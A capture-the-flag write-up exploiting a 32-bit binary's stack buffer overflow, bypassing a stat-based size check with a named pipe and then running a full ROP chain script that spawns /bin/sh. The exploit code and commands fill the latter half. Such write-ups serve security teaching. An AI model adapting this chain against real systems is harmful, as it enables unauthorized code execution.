Introduction
Exploitation of a 32-bit binary with a stack based buffer overflow and Return Oriented Programming.
We believe the expected solution for this challenge was a race condition but we found another way around.
Static Analysis
The 32-bit ELF binary is very straightforward, it's only purpose is reading files and putting data in a buffer.Usage ./prog <filename>
Obviously there is a vulnerability.
The check_size
function calls the stat
function to check if the size of the file is greater than 4095 bytes in which case the program stop to avoid a buffer overflow.
If the file size is lower or equals to 4095 bytes then the content is read and stored on the stack.
The vulnerability
We can use a race condition to bypass the check_size
by changing the file content with our payload after the program calls stat
.
Then we can override the EIP
with use controlled data.python -c 'print "A" * 0x101c + "B" * 0x4'
The alternative solution
The server allows us to create named pipe with mkfifo
.
The size of a named pipe with the stat
function is equals to zero so we pass the check_size
function.
$ mkfifo /tmp/sbof
$ python /tmp/exploit.py > /tmp/sbof
$ ./pwn /tmp/sbof
The shellcode
We used the following ROP shellcode to start /bin/sh
.
#!/usr/bin/env python
from struct import pack
p = 'A' * 0x101c
p += pack('<I', 0x0807270a) # pop edx ; ret
p += pack('<I', 0x080ee060) # @ .data
p += pack('<I', 0x080beb26) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0809dead) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0807270a) # pop edx ; ret
p += pack('<I', 0x080ee064) # @ .data + 4
p += pack('<I', 0x080beb26) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0809dead) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0807270a) # pop edx ; ret
p += pack('<I', 0x080ee068) # @ .data + 8
p += pack('<I', 0x0806cd51) # xor eax, eax ; pop esi ; pop edi ; ret
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x0809dead) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481d1) # pop ebx ; ret
p += pack('<I', 0x080ee060) # @ .data
p += pack('<I', 0x08072731) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080ee068) # @ .data + 8
p += pack('<I', 0x080ee060) # padding without overwrite ebx
p += pack('<I', 0x0807270a) # pop edx ; ret
p += pack('<I', 0x080ee068) # @ .data + 8
p += pack('<I', 0x0806cd51) # xor eax, eax ; pop esi ; pop edi ; ret
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x0807f15f) # inc eax ; ret
p += pack('<I', 0x0807f15f) # inc eax ; ret
p += pack('<I', 0x0807f15f) # inc eax ; ret
p += pack('<I', 0x0807f15f) # inc eax ; ret
p += pack('<I', 0x0807f15f) # inc eax ; ret
p += pack('<I', 0x0807f15f) # inc eax ; ret
p += pack('<I', 0x0807f15f) # inc eax ; ret
p += pack('<I', 0x0807f15f) # inc eax ; ret
p += pack('<I', 0x0807f15f) # inc eax ; ret
p += pack('<I', 0x0807f15f) # inc eax ; ret
p += pack('<I', 0x0807f15f) # inc eax ; ret
p += pack('<I', 0x08049501) # int 0x80
print(p)